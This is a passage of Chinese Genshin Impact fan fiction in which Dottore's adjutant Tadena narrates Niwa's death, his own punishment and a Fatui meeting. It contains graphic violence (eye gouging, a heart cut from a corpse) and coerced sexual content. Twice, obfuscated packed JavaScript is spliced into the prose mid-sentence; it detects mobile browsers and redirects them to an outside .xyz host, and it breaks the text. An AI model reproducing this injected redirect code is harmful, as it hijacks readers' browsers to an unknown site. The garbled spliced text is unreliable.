“都是假身份,枫丹从来没有过一个叫‘埃舍尔’的机械师,至于您,埃舍尔的副手,莫里茨先生,自然也是毫无记录。” “那你还来找我?” 我有些想笑,虽然不合时宜,但我觉得来单独找我的丹羽有些意义不明。 丹羽忽然握住我的手,我吓了一跳,想要挣脱,却发现对方力气大得惊人,炽热的手心全是汗。 他无比恳切地请求我:“我知道埃舍尔的目的是踏鞴砂,但踏鞴砂御影炉心失控的责任必须有人担负,埃舍尔在今天给了我一个可以吸收邪祟的装置,我别无选择,现在,只能由我带着这个装置进入高危区关闭炉心。” 他闭了闭眼,平复着自己的情绪。 “我准备在进入炉心之前,揭穿埃舍尔的伪装。我想质问他,做这一切的最终目的到底是为了什么。” 那双黑色的眼睛犹如深潭一般,我从未觉得丹羽的眼神如此灼人过,几乎令我无法直视,我狼狈地避开他的视线。 “你去了,会死的。”我叹了口气,“埃舍尔的身份和目的,远比你想象得更加复杂。” 丹羽露出一抹释然的苦笑。 “我知道。但如果硬是要选出一个人死去的话,我宁愿这个人是我。我是踏鞴砂锻刀场的负责人,这一切,理应由我来背负。但到了这最后,我的内心还有一个人无法放下。” 他深吸一口气。 “倾奇者,我的同伴,我的家人,我无法获取他的踪迹,或许您知道关于他的消息。” 我抿了抿唇,犹豫了一会儿,才开口。 “他还活着,只不过稻妻的神明拒绝了他的求见,现在,他正返回踏鞴砂,不日应该就能回来。” 听到倾奇者无碍,丹羽松了口气。 “感谢您,能知道倾奇者无事,我放心多了。我有最后一件事情想要拜托您。” “请您,告诉倾奇者离开踏鞴砂,再也不要回来这个地方,然后在稻妻城寻一份工作,努力生活下去。” “我……” 我下意识地想要拒绝,但是看到丹羽脸上骤然垂落的两行清泪与那悲恸的眼神,喉咙干涩,一番话又被咽了回去。 “我是埃舍尔的下属,你来找我似乎找错了人。” 握着我的手抓得更紧了,那灼热的温度几乎要将我烫伤。 “我知道,在来找您之前,我的内心也做了数万次的犹豫和挣扎。但是,每每想起与您的会面,我都能从您的双眼中看到不一样的颜色,您的眼神与他完全不同,这一点,我能肯定。” 我:“……” 过了很久,我忍不住看了看天花板,那灯光闪得我眼睛发涩。 我长叹一口气,几乎发出悲鸣。 “丹羽先生,你这可真是,要了我的命啊……” “我知道了,我会尽力做到的。” 我的一生,屡屡在明知不可为的事情上一意孤行。愚蠢的顽疾困扰着我的思与行,即使再大的代价,我也会劝说自己行走上这条路。 衡量此的天平,不过是可笑而荒唐的,我此刻的心脏与大脑的搏动。 须弥是以著名的学术家庭为社会运转核心,除去“学术”的部分,自然也有属于“家庭”的部分。虽然我是一个阴郁而不受喜欢的家伙,但我从小所学习的,依然是最正常的观念建设教育。 换言之,我在思维上,仍是一个正常人。 这样的一点,在遇到多托雷之后显得尤为显眼。毕竟多托雷是一个无论从道德还是三观而言,都绝对偏离了大众的家伙。 我的心里或许隐藏着卑劣和懦弱的分子,但有的时候,我的大脑也会被所谓的“善良”裹挟,做出完全有悖于自己利益的事情。 就如同现在这样。 我深刻地认识到,这是我永远矛盾于多托雷的地方。 且无法改变。 实在可悲。 踏鞴砂的命运已然决定。 就在我整理好思绪前往前厅的时候,里面的一切都已经尘埃落定了,已经倒地死亡的丹羽,和露出真正面貌的多托雷。 丹羽的尸体就那样倒在地上,侧脸的眼睛还大大地睁着,看向多托雷的方向。 死不瞑目。 我在心里叹了口气,轻声走进房间里,蹲下身伸手放在丹羽的眼上,将那一双犹带着愤怒与怨恨的双眼合上。 多托雷便站在一旁看着我做这些,饶有兴趣地说:“你似乎颇为不忍。是因为这短暂的相处产生了额外的感情吗?” “不。”我站起来,“只是害怕而已。” “害怕什么?” “旧日的回忆,旧日的人,以及,活着的恶鬼。” 多托雷轻笑:“你胆子倒是变大了。” 我低着头,不再回话。 多托雷从我身边走过,用一把匕首剖开丹羽的胸口,一枚血淋淋的心脏被取出,然后装进那个所谓的去除邪祟的装置里。 “就让我来看看吧。”披着人皮的恶鬼如此说道,“混迹人群,缺少心脏的人偶,到底能否成为真正的‘人’。丹羽大人,您的生命虽然就此长阖,但您的心脏,将会被送往您的人偶朋友的手中,亲眼见证实验的结果。以这样的方式陪伴家人,想必您也会感到幸福吧。” 我感到不寒而栗。 “踏鞴砂的任务只余收尾了,人偶也将要回来。塔德纳,去联系其他人安排返回的路程吧。” “是,主人。” 我行着礼低头出去。 多托雷在支开我,纵使是恶鬼,对于自己身边总想着倒戈的狗也毫无办法,既然无法下定决心杀死,那就只能拴好绳索,时刻注意。 他想要单独和倾奇者交谈一番,然后让倾奇者带着那个装有丹羽心脏的装置进入御影炉心。 我没有办法阻止人偶进入炉心的既定命运,但既然已经答应了丹羽的请求,我将会在力所能及的范围做一些事。 我在找人安排下多托雷说的事后,找人手替我关注了稻妻城哪里还招收学徒的地方,带着一封托关系找人写下的推介信,我回到了锻刀场。 多托雷见到倾奇者之后,会回稻妻城稍作休息,两日后,安排好回至冬的船就会出发。而在那之前,我尚且还有一些时间等候在踏鞴砂。 虽然这样的动作必然会被多托雷发现。我也没做什么掩饰,只是派了专人顶替我的位置去接应多托雷。 御影炉心发生了爆炸,浓郁的黑烟反朝着御影炉心内涌去,黑烟汹涌澎湃,不多久笼罩踏鞴砂近一个月的黑烟就淡了不少。 冲天的火焰瞬间包裹住御影炉心。 我站在角落抬头看着这壮观的一幕,有些担心倾奇者能不能活着出来。 大火烧了足足一天一夜,最终才在瓢泼的大雨下渐渐消停。 而我也在外面等候了一天一夜,大脑因为长时间的运转开始疼痛,我甩了甩头,用木棍戳了戳面前 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“我没能找来救兵。”少年哽咽着,声音沙哑,“也没能见到丹羽,他说丹羽畏罪潜逃了,让我进去关闭炉心。炉心很可怕,全是大火,我以为我会死去……” 我抿了抿唇。 事实不是如此,多托雷编造了虚假的故事,将所有的罪责推给了丹羽。 但我不能说。 因为我的身份。 我闭了闭眼,努力让自己的情绪平复。 “走吧,我送你一程。” “谢谢你。”倾奇者咬着牙攥紧衣襟。 护送倾奇者离开的船只是我另付大价钱从稻妻城找来的经验老道的船夫,我目送倾奇者离开,等到海上的人和船已经缩成了一个黑色的小点才离开。 该走了,明天回至冬的船就要出发了。 我向反方向走去,在岸边,来接我的愚人众士兵看见我很明显松了口气。 他迎过来,紧张地对我说:“您可算来了,塔德纳副官,【博士】大人问了好几遍您的行踪,眼下正在稻妻城的驻扎点,谁也不让靠近。” 多托雷船坐多了把脑子坐坏了吗…… 我心里知道对方绝对是在等我回去秋后算账,心里居然一丝波澜都掀不起来。 对自己的结局,我早已在心中有了些许预算。 但即使如此,等到真正站在多托雷房门前,双手推开房门的那一刻,我的心脏开始突如其来地加速。 在进门的一瞬间,我闻到一股浓郁的苦味,紧接着,身体突然丧失力气,一双手掐着我的脖子将我拽进更深处,同时关上了房门。 在窒息感袭来的同时,多托雷的气息完全覆盖了我,那个碍事的半脸面具被取下,露出其后那双猩红色的眼睛。 我被摔在床上,高大的身影覆上来,多托雷动作粗鲁地含住我的唇,舌头裹挟着什么钻进去,在里面肆虐着。 苦涩的味道随着口腔内的纠缠弥散开来,多托雷用力地攫取着我的呼吸,那灵活的舌头带着狠意碾压我的上颚和喉咙更深处。 我痛苦地吞咽着,想要挣扎却使不上力,只能发出一阵阵呜咽的哭声。 熟悉的药的味道,几乎让我在一瞬间就想起之前的惩罚和刻骨铭心的疼痛。这次也毫不意外,在药粉混杂着津液被迫吞下的时候,如同刀刺的疼痛瞬间弥漫全身。 剧烈的疼痛让我的大脑空白了一瞬间,再次恢复意识的时候多托雷已经松开了我,只是手依然环绕在我的脖颈上,带来不可忽视的压迫感。 我喘着气,茫然地看着多托雷。 猩红的眼睛冰冷地打量着我,过了很久,我听到他冷笑了一声。 “他说你的眼神和我不一样?真是可笑。” 多托雷如此说着,冰冷和宽大的手掌附上我的双眼,我的视野顿时陷入黑暗。 “你或许应该长点教训。”他似乎是在呢喃,又似乎是在与我说话。 下一刻,宛如钻心般的疼痛吞噬了我的双眼,我感受到那冰冷的手指用力地陷入我的眼眶,在之后,血液喷涌,我忍不住痛苦地嘶嚎,在那一瞬间,意识仿佛脱离身体,连此时此刻都不知为何了。 在熟悉而陌生的惨叫声中,我听见一声悠然的叹息。 “再听话一点吧,塔德纳,即便是因为恐惧。” 20. 第 20 章 我的意识在那之后陷入了很长时间的混沌,一直持续到回到至冬的时候。 身体的伤口会愈合,但痛苦和恐惧不会,若多托雷真的是想要用恐惧来驯服我的话,那我不得不承认这一次的效果很好。 在眼睛愈合之后,我日夜被那剜眼的痛苦折磨,即使机理已经恢复,我也依旧不敢睁开眼睛,稍微强烈的日光便会让我眼球刺痛,不得已我只能用黑色的丝巾围住双眼。 我开始排斥多托雷的接近,只要那熟悉的气息出现在身边,我的大脑和双眼就会开始剧烈疼痛。但我没办法拒绝多托雷的动作,这个家伙只会威胁我不许抵抗他,然后抱着我陷入短暂的沉睡中。 我疼得发抖,眼泪浸湿眼前的布料,连稍微挣扎也不敢。 太疼了,从来没有经历过这样鲜明且持续的疼痛,那疼痛深埋于皮肉之下,连稍作抚慰都做不到。 我几乎要精神崩溃。 在崩溃边缘,我忍不住抓住多托雷的手,跪在地上,讨好地舔舐那冰冷的手心。 我恳求他:“主人,我知道错了,我好疼……主人,我错了我错了,求求您……” 那已褪下遮掩的手掌与常人外观无异,但却格外坚硬,多托雷将自己的肢体更换为了从失落文明改良而来的机械躯体,为了美观,则在上面覆盖上一层仿生的皮肤。 那只手轻轻用力掐住我的脸颊,我生出一种仿若成为流水线上的零件被机械臂夹起的错觉。 痛感让我忍不住闷哼一声。 “塔德纳,我已给过你很多机会。”多托雷叹息,“你很聪明,你知道我无法下定决心杀死你,所以肆无忌惮地绕开我的命令,阳奉阴违。” 他咀嚼着最后四个字,发出一声轻笑,只是没什么笑意。 “我可以忽视你那些不尊敬的小动作,但是,塔德纳,即使是你,即使是对你,我的耐心也是有限度的。” 我哭泣着,只是重复:“求您,我错了……主人……主人……” “你总是如此,塔德纳。”他扯开我眼前的丝布,注视着那双紧闭的双眼。 “你总是在做错事后向我哭泣道歉,可是实际上呢,我亲爱的副官,亲爱的塔德纳,你从未真正听话过,连最基本的乖巧也做得不成样子。” 多托雷俯身,无比温柔地亲吻着那薄薄的,新生出来的眼皮,感受着其下眼球不安的颤动。 我在多托雷低下头的时候就吓得停止了哭泣和恳求,我感受着那不带温度的唇瓣,多托雷似乎很喜欢我的眼睛,或者说,很喜欢那因为无力承受亲吻而不停恐惧颤抖的眼球。 他的情绪似乎变得高昂了几分。 下一瞬,我感受到湿润的重量舔上我的眼眶,近乎要将那眼球都挖出来,包裹起来。 “呜……” 我吓得挺直了腰,想要逃走,却被多托雷扶住脑后和腰,连最后的退路也被封闭,只能被动地承受着多托雷粗鲁的动作。 我感受到眼球被压迫的奇怪感觉,并不是疼痛,或者其他,而是一种更诡异的,逐渐弥漫全身的麻痹,以及—— 满足感。 如同回到生命最初的起点,被温暖的母体包裹,密不透风的满足感。 这太奇怪了…… 在大脑的恍惚之中,我感受到多托雷松开了我,我脱力地跪在地上,手指还抓着那在不知不觉中被我抓皱,又被手心的汗浸湿的,多托雷的衣角。 “塔德纳,睁眼。”他说。 我缓缓睁开双眼,我们现在在实验室最里面的休息室,因为没开灯,所以可见光很少。 但我还是看到了多托雷的样子,他坐在床边,依旧是最常穿的那件衣服,脸上没戴面具。 眼睛依旧残余疼痛,大脑也是。 我的身体依然在下意识地恐惧多托雷,只是潜意识又无法抗拒眼前此人。 “既然想要被宽恕,那就做点讨好我的事情吧,塔德纳。”带着恶意的声音在我的耳畔轻声诱惑着。 他伸手扣住我的头,向着两腿更近的地方压近。 “张嘴,我想你应该知道要怎么讨好我。” …… 多托雷拍了拍我的脸,又抚摸着我的侧脸,与那压迫着我敏感部位不断带来疼痛的地方相比,这样的温柔几乎让我有些意乱神迷,我忍不住将自己与那手掌贴合得更紧密,感受着那微凉的掌心的纹路。 多托雷轻笑一声:“你的表现勉强合我心意,我不会再计较这次的事。不过,塔德纳,下次,就不会这么轻松就翻过篇了。” …… 经过上次那场糟糕的事情后,我的喉咙肿了好几天,连喝水也会感受到无法忽视的疼痛。 多托雷拒绝给我消肿的药物,这样的疼痛似乎也并不算在体内能量能够修复的伤口范围,我只能减少说话的频率,等它自己慢慢恢复。 踏鞴砂的任务完成的十分出色,【丑角】在执行官的会议上公开表扬了多托雷的功绩,就连与多托雷不对付的执行官也无法否认这次行动的成果。 要问我为什么会这么清楚的话,当然是因为我在现场听了全程。 这当然是完全违反规定的,然而此次会议本来就是临时召开,【队长】甚至都没回来,直接递了假条,【丑角】只是轻飘飘地说了一句“下不为例”。至于其他执行官? 多托雷如今风头正盛,哪里来的其他执行官说话的份。 还有【少女】…… 【少女】不在乎这些。 不仅是踏鞴砂事件成功制造的窗口,还有“邪眼”材料的事,多托雷汇报了有关邪眼研究的进展,总的来说进度喜人,他甚至提出要在稻妻尽快建成工厂,也获得了许可。 这次的会议有一位新面孔,第八席【女士】,这位有些傲慢跋扈的女士据说是来自蒙德,在爱人死后化为火之魔女,奄奄一息之时遇到了【丑角】。 冰之女皇赐予其冰的力量中和火焰,【女士】决定效忠至冬。 【女士】罗莎琳·克鲁兹希卡·洛厄法特,这位火之魔女几乎是正常会议上唯一一个对多托雷不假辞色的家伙,甚至称得上是咄咄逼人。 多托雷的脸色如常,只是我能感受到他身上的气压有些低。 不过即使是【女士】,也无法不承认多托雷的功劳,所以这位执行官攻击的主要对象,其实是我。 “【博士】,就算你再溺爱你的这位下属,日常出行时时刻刻都要带着他,也该看看时候。执行官的集体会议,就算只是临时组织的,也不是他这样身份的人可以参加的。” “你似乎有哪里误会了,【女士】。”多托雷语气疏远,“我只是被突然叫来给你们介绍一下我的研究成果的而已,既然是我的介绍会,那么我带什么人进来都与你毫无关系,不是吗?” “哈?你是说我们这么多执行官参加,你还不知道这是执行官会议?” “难道诸位有任何任务成果要发表吗?”多托雷冷笑,“如果没有,那算什么执行官会议。” 【女士】被气笑了:“强词夺理也要有个限度吧。” “强词夺理?好吧好吧,这位冒着火的女士也许该清清自己的怒气,在诸位同僚面前,未免有些不太好看了。”多托雷摆摆手。 这两个人剑拔弩张,我在旁边岁月静好,低头发呆。 毕竟虽然名义上我是愚人众的一份子,但实际上我的归属权是直接隶属于多托雷的,换言之,多托雷的命令大于愚人众任何一人的命令,即使是冰之女皇,在我这里的优先度也是要低于多托雷的。 多托雷对冰之女皇的忠诚度暂且不论,反正我的忠诚度确确实实是“零”。 虽然我对多托雷的忠诚度倒也很难说是百分之一百。 两位执行官的争吵最终止于【丑角】的一句“够了”。 【丑角】看向【女士】,警告道:“罗莎琳,此次会议只是在踏鞴砂任务完成之际,对现阶段成果的一次总结会,不用过于苛求。执行官齐聚是为了庆祝,亦是为了抉择出之后任务的执行人。无谓的争吵,只是对我们时间的浪费。这不是任何一位执行官想看到的,更不是女皇陛下想看到的。” 【女士】有些不忿,但最终还是抑制住了。 “是,我知道了。” “以及你,多托雷。”【丑角】转头,看了一眼多托雷,视线又越过他落到我的身上。 我缩了缩脖子。 “执行官汇聚商议的场所并不适合有其他人在场,希望你下次能够记住。” “是。” 多托雷对这位邀请自己进入愚人众的引路人还是给足了面子。 “闲聊到此为止,各位。”【丑角】的声音多了许多严肃,“踏鞴砂已为愚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875966|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人众的渗入提供了机会,我们需要一位执行官能够前往稻妻执行接下来的任务,不只是在稻妻建立据点,还有建造邪眼工厂等一系列事情。有人想要自愿前往吗?” 席间一片肃静,很多视线都在看多托雷的反应,毕竟他是最大的功臣,如果多托雷想要接下这个任务的话,【丑角】想必不会拒绝。 多托雷只是保持一贯的神秘微笑。 他刚从稻妻回来,估计准备继续投入自己的实验。 多托雷对权势操纵的事情一向兴趣甚微。 沉默并未持续太久,【女士】主动站了出来。 “我去。”火之魔女冷冷地看了一眼多托雷的方向,“我可不想和这个家伙呆在一片土地上太久。” 多托雷哼笑一声。 “是吗?那看来我们之间的气场可能不太合。很遗憾的是,我对注定要燃尽熄灭的火焰也不感兴趣。” 【女士】:“呵。” 【丑角】:“既如此,就由罗莎琳前往稻妻。既无其他的事情,今日便散了吧。” 一场会议不欢而散,众人纷纷离开,【女士】临走之前还挑衅地看了多托雷一眼,多托雷以微笑回之。 在【丑角】将要离开之际,多托雷叫住了他。 “【丑角】。” “多托雷,找我有什么事吗?” “呵呵,有一件事,想必你会感兴趣。我在踏鞴砂的时候,遇到了一位有意思的人偶。” 我的心一下子提起来。 多托雷轻笑着:“多么有趣的技术,多么有趣的身体,没有心脏的人偶却想要成为‘人类’。我想你应该会对他感兴趣的,这样的一位人偶,拥有的价值,比你我想象中的还要高也说不定。” “人偶……”【丑角】沉吟着,“如今稻妻的神明正闭门修炼,代为管理稻妻的,据说是她创造的一具人偶。原来如此,我明白了,我会去一趟稻妻,确定他是否能够成为我们的伙伴。” 多托雷:“我很期待新伙伴的加入。” 【丑角】离开了。 我的肩膀上搭上了不属于我的手臂的重量,那一瞬间几乎心脏停跳,恍惚之中我只能听见多托雷恶意满满的问询声。 他说:“如何?那位人偶若是加入愚人众,想必你也会为此感到高兴的吧,塔德纳。毕竟故人相逢,情谊深厚。” 不…… 我感到汗毛倒竖。 不…… 丹羽的期望,丹羽的遗愿明明是想要让倾奇者彻底远离危险,只是轻松地度过自己的未来。 他的未来,倾奇者的道路,不该是这样的走向。 我喉咙干涩,说不出话来,甚至不敢抬头看多托雷的脸。 恐惧占据了我的心脏。 多托雷是故意的,他早就对倾奇者产生了兴趣,如果倾奇者真的和那位雷神制造的人偶关联密切的话,多托雷不可能不会对这样的技术好奇。 他想要研究倾奇者,所以才针对倾奇者制定出踏鞴砂最后的阴谋,那枚丹羽的心脏。 他要让倾奇者成为“这边的人”。 如今故意对我说这些话,不过是想要刺激我,让我看着自己的规划和为此所受的苦难全部变成一文不值。 多托雷拍了拍我的肩膀:“今日我要在实验室研究晶化骨髓的元素收纳性,你去将带回来的晶化骨髓运到实验室,明白吗?” “是,主人。” 我恍惚着应声。 多托雷走了,他走的时候甚至没叫上我,我知道这大概是他故意留给我的间隙,想看我接下来的选择。 我可以做什么呢? 我可以现在追上【丑角】恳求他不要再打扰那位人偶的生活,但我很清楚【丑角】并不是什么完全良善的角色,他以愚人众的最终计划为最高目的,不可能倾听我的话语。 我也可以现在去找人,赶在【丑角】之前找到倾奇者,让倾奇者躲开找他的愚人众。 但是找谁呢? 我可行使的力量和权限全部都是基于多托雷拥有的力量,离开了多托雷,我能做什么呢? 我垂头看着自己的手掌,这双柔弱的手,无能为力的手。 这双在几天前还在多托雷的逼迫下握住那处不可言说的手。 我颤抖地吐出一口气,热气在冰冷的空气中结成一片白雾。 21. 第 21 章 我追上了【女士】,这位对多托雷的傲慢嗤之以鼻的火之魔女看见我,皱了皱眉,是一副不愿意看见我的模样。 依照对执行官的尊敬,我还是行了礼。 “【女士】大人,愿女皇的威光照耀我等。” 我很少如此对其他的执行官展露敬意,行礼的动作也有些别扭。 【女士】笑容玩味地看着我:“塔德纳,【博士】身边最亲近的人,你可是至冬的名人。无须对我如此恭敬,你效忠的对象只是【博士】而已,这件事,全至冬都知道,我可不想被那疯子认为是要拐走他的人。” 我有些局促地放下手。 【女士】对我的态度似乎一般,不像是方才在会议上的咄咄逼人,但也称不上太友好。她似乎不太想与我过从太深。 “对执行官持尊敬态度是最基本的要求,我也算是愚人众的一份子。”我说。 “好吧。”【女士】像是听到了什么笑话一样,噗嗤一声笑出来,“如果你希望如此想的话。我并没有干涉你想法的权利,那是【博士】才能做的事。” 她稍微直起身:“说吧,找我有什么事?” 【女士】还是愿意听我接下来的话的。 我稍微松了口气,整理一下思绪才开口:“我有一位朋友在稻妻,希望能拜托您帮我把这本书以及信交给他。” 我将刚才急忙返回房间拿的书和匆忙写下的信交给【女士】,因为时间太紧,装信的信封甚至是我从大一号的稿纸本上撕下来现折的,封口的胶水都溢出来了。 【女士】接过东西,随手翻开那本书。 “《千夜故事集》,须弥的书?难为你在至冬能找到这个。” 我有些羞赧:“是我以前来到至冬的时候带着的,已经是很古早的版本了,没舍得扔。” “你是须弥人,对了,那也合理。”【女士】关上书,斜看了我一眼,“怎么,【博士】管你管得这么紧,连送东西都要专门来找其他执行官,他知道这个吗?” 【女士】指的是我找人给倾奇者传信的事。 《千夜故事集》是答应好的要给倾奇者的礼物,而那封信里,内容主要是告诫他尽量不要接触愚人众,离得越远越好。 “主人他……应该是知道的。” 多托雷故意给我留了这个机会,就是想看我会做什么,眼下我的动作,必然不可能逃过他的视线。 “呵呵,真是有意思,【博士】的副官费这么大的劲儿,放着好好的愚人众执行官第二席的力量不用,却来找我这个区区第八席。让我猜测一下……【丑角】方才派人来信要和我一起前往稻妻,是与【丑角】要做的事有关?” 完全正确,这位【女士】大人似乎不像传闻中的那般性格跋扈而不善于计谋。 【女士】继续说着:“【丑角】很少离开至冬,他的工作除了管住这群天资各异,心高气傲的执行官外,便是笼络有能力的存在,邀请他们加入愚人众。看来你的这位‘朋友’也在此列。” 我苦笑一声:“【女士】大人,您的猜测完全正确。” “不试图欺骗一下我?这件事要是被捅出去,就算是【博士】,也不一定会姑息你。” “没有必要。”我摇摇头,“您不是那种会被谎言轻易蒙蔽的人,同样,我相信您不会将这件事说出去的。” “相信?”【女士】冷笑一声,“你和我似乎今天才是第一次见面,哪里来的信任可言?” “您的说法完全正确,但我别无选择,我只能去相信。” “将希望寄托在别人身上可不是什么明智的选择。你这家伙,倒是和【博士】不太一样。” “就当是对你这双漂亮眼睛的喜欢吧,你的忙,我帮了,不过要记着,你欠我一个人情。”【女士】将那封薄薄的信夹进书页里收进去。 听到她的回复,我心里的石头总算是落了地。 我心里大概清楚这封信可能根本就无法改变任何事情,甚至更糟糕的可能,会给我引发一系列的麻烦。 但是丹羽死前的委托,我虽然没有答应他一定能做到,但也说了会尽力而为。 如此,既然此刻依然能够做出些行动,就没有理由不去做。 “感谢您,【女士】大人。”我露出一个稍带着真心的笑容。 “道谢就不用了,我不习惯这种肉麻的东西。倒是你……” 【女士】突然俯身靠近我,我吓了一跳,下意识地往后仰,在这个距离,我甚至能够看到那双沉寂的,似乎在无数的燃烧后终于熄灭的空洞麻木的双眼。 紫色的眼睛。原来不是红色的啊。 我的心里莫名想起这样的话。【女士】喜欢穿带有大量红色的夸张衣服,让我不知道什么时候形成了“她的眼睛应该是红色的”这样的想法。 【女士】伸出手,指尖抚摸着我耳饰上的蓝色试管,语气莫名。 “收好你的眼神,塔德纳,除非你想被那个疯子吃干抹净。” “啊?” 我发出无意义的声音,瞪大眼睛看着她。 “就是这样的眼神。”【女士】手指轻弹,将那试管扔到我的侧脸上,我感受到一丝轻微的疼。 她说:“愚蠢的,清澈的,你恐怕还意识不到吧,你这双眼睛有多突兀。”她嗤了一声,“特别是在【博士】身边。” “你和【博士】根本不是一路人,我想象不到你为什么会成为他的副官,还传出那些……离谱的言论。就算是我发善心吧,提醒你一句,小心点,别太早陷入进去。” 【女士】留下这串莫名其妙的话后离开了,徒留我一个人呆愣在原地。 她什么意思? 什么“吃干抹净”,什么“小心”,多托雷难不成进化成改造人之后连食谱都变了,不吃五谷杂粮,改成吃人了吗? 说起来,我自从醒来后就再也没见过多托雷进食了。 我觉得【女士】或许还有其他的意思,但具体是什么,未免有些太谜语了一点。 我忍不住摸了摸刚才耳饰打到的地方,大脑里莫名又浮现出前几天那荒唐的事。 “呜……不至于吧,这种事情,应该只有我和多托雷才知道吧……【女士】到底在说什么……而且就算是那种事情,说是什么‘吃干抹净’……主宾语错了吧。或许我该找一点更专业的生理书了解一下。” 我拍了拍额头,因为太过用力,甚至直到我回实验室的时候,额头上的红都没有散去。 路过的实验员看我这副魂不守舍的样子都吓了一大跳。 “塔德纳大人,您这是?” 我抬头看着这位实验员,脑海里立刻浮现起他的名字。 马克西姆,前段时间刚招收进来的新人,对“能够在第二席手下做事”这件事十分自豪但天资一般,所以现在只是在外围做一些打杂的事情。 我疑惑地看向他:“什么?” 马克西姆指了指自己的额头:“您的额头,是磕到哪里了吗?” 我伸手遮住自己的额头。 “应该是的吧。”我敷衍道。 看这家伙还是一副想说什么却不敢说的奇怪样子,我有些失去耐心。 我问他:“我之前吩咐要送来的晶化骨髓呢?送来了吗?” 或许是我的语气不太友好,这家伙竟然怕得抖了一下。 “都,都送来了,塔德纳大人,现在正在搬运呢。” 我挥了挥手,如同驱赶苍蝇一般:“既然如此,你去帮忙吧,我还有事。” “是。”马克西姆如获大赦,不多久就跑没影了。 我有这么可怕吗? 想起马克西姆刚才那如释重负的表情,我莫名有些烦躁。 其实不只是马克西姆,最近,特指回到至冬之后的这几天,很多人对我的态度都变得很怪,那群执行官另说,现在就连愚人众的士兵和实验室这边的人,对我也是恭敬中夹杂着几分难以言喻。 我想起【女士】的话,她说有“离谱的言论”传出,是关于我的。 之后有空再查一下吧。 我如此想着,推开实验室的门走进去。 多托雷正在里面,身边环绕着一群人,这些家伙都是至冬颇有名气的学者,其中不乏早年出名的天才,只不过在这里,他们都只是协助多托雷实验的助手而已。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14875967|159613||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >那些人看见我稍微骚动了一下,但很快平静下来。 又来了。 这种奇怪的感觉。 我努力忽视这群人,走到多托雷附近,右手抚胸轻微弯腰。 “主人,晶化骨髓已经尽数运到这里的,现在正在卸货,我已经嘱咐让人送来部分到实验室,马上就会到。” “我知道了。”多托雷说,“如此,有关测试晶化骨髓的实验流程就这样先定下来吧,你们按照要求去布置实验器材。这样的小事,不用我一步步看着吧?” 那些人惶恐地回:“是,大人。” 那群人很快散开,甚至不敢再朝这边看一眼。 我直起腰,多托雷走到我面前,将我的头抬起,说了一句:“张嘴。” 被多托雷接触的地方仿佛有一阵电流穿过一般,我抑制住怪异的感觉,听话地张开嘴。 多托雷检查着里面,过了一会儿,松开我,语气里多了些满意:“已经完全恢复了,看来这种程度的损伤并不会触发你体内力量的阈值,恢复速度依然是以正常线为标准。” 他又伸手摸了摸我的额头。 “太过用力地拍打皮肤会促进毛细血管扩张和血液充盈增加,表面在体表便是皮肤变红。看来这样最基础的人类生理反应也并不会被算在‘快速自愈’的范围之内。果然,与其说是‘无条件的恢复原状’,更像是‘在经历危及生命的伤害时产生的紧急自救’。呵,有趣的力量,判断的基准是什么?依照身体的无条件反射还是个体认知?” 我感到被完全看穿的毛骨悚然。 多托雷盯着我的大脑,如同呢喃般。 “如果切开大脑,你的身体还会快速恢复吗?不不,如果是无条件反射的话,或许只需要破坏脑干和脊髓就能够稍作检验。但是破坏脑干和脊髓会造成运动和意识的障碍,想要修复也很困难……” 那只抚摸着我额头的手转而按压着我的颅骨,我有一种要被切开研究的错觉。 这个家伙…… 这个家伙不只是说说而已啊!这个恐怖的疯子好像真的有用我的大脑做实验的打算! 草啊…… 我几乎是慌不择路地把多托雷的手抓下来,讨好地弯着腰让自己看起来更加卑微恭顺。 我亲吻着那只刚才还在我大脑上找地方开洞的手,多托雷应该没准备今天自己亲自上手做实验,所以戴着的仍然是日常那双布料柔软的手套。 我顺着那分明的指骨亲上去,多托雷没有拒绝,也没有进一步的动作,他只是安静地看着我,如同在观察一件实验品。 多托雷对我有别样的欲望,这点,从前几天的事,甚至是那次强迫的吻都可以看出。但我不清楚这样的欲望能否支撑我凭借此改变多托雷对我的一些态度,甚至是更进一步,谋求一些利益。 我需要活下去。 为此,我必须要尝试一下。 尽管,是在这样的地方,这样其他人都能看到的地方做这样的事情…… 我能够感受到周围偷摸看过来的眼神,只是碍于多托雷在场不敢光明正大,但我不能顾虑这么多了。 “主人。” 我几乎是声音颤抖地唤了一声他。 多托雷似乎是轻笑了一声。他抽出手,手指覆在我的唇上,颇具暗示性地按压着。 “你看起来学乖了不少,塔德纳。看来想要驯服你,需要的方式比较特殊。” 我的脊背一僵。 但好在多托雷看我的眼神至少不是在看一件行走的大脑切片样本了。 这或许也能算一件好事…… 吗? 从多托雷那里好不容易脱身后,我扶着门口的石柱,心脏的震跳声几乎如同在耳边响起的一般,令我听不到任何一丝其他的声音。 嘴唇上残余着方才被按压的触感。 真是难以置信,多托雷竟然真的会任由自己被这种可笑的激素控制,竟然真的就那样…… 轻而易举地放弃了对我的实验想法。 我压抑着喉咙里轻微的笑声,想起至今与多托雷互相纠缠的记忆,不由得浑身发抖。 这太荒谬了。 22. 第 22 章 对于晶化骨髓的实验持续了两个多月,这种包含着“崇神”力量的特殊晶体,能够很好地吸收和放出元素力,在多托雷的带领下,第一批“邪眼”很快诞生。 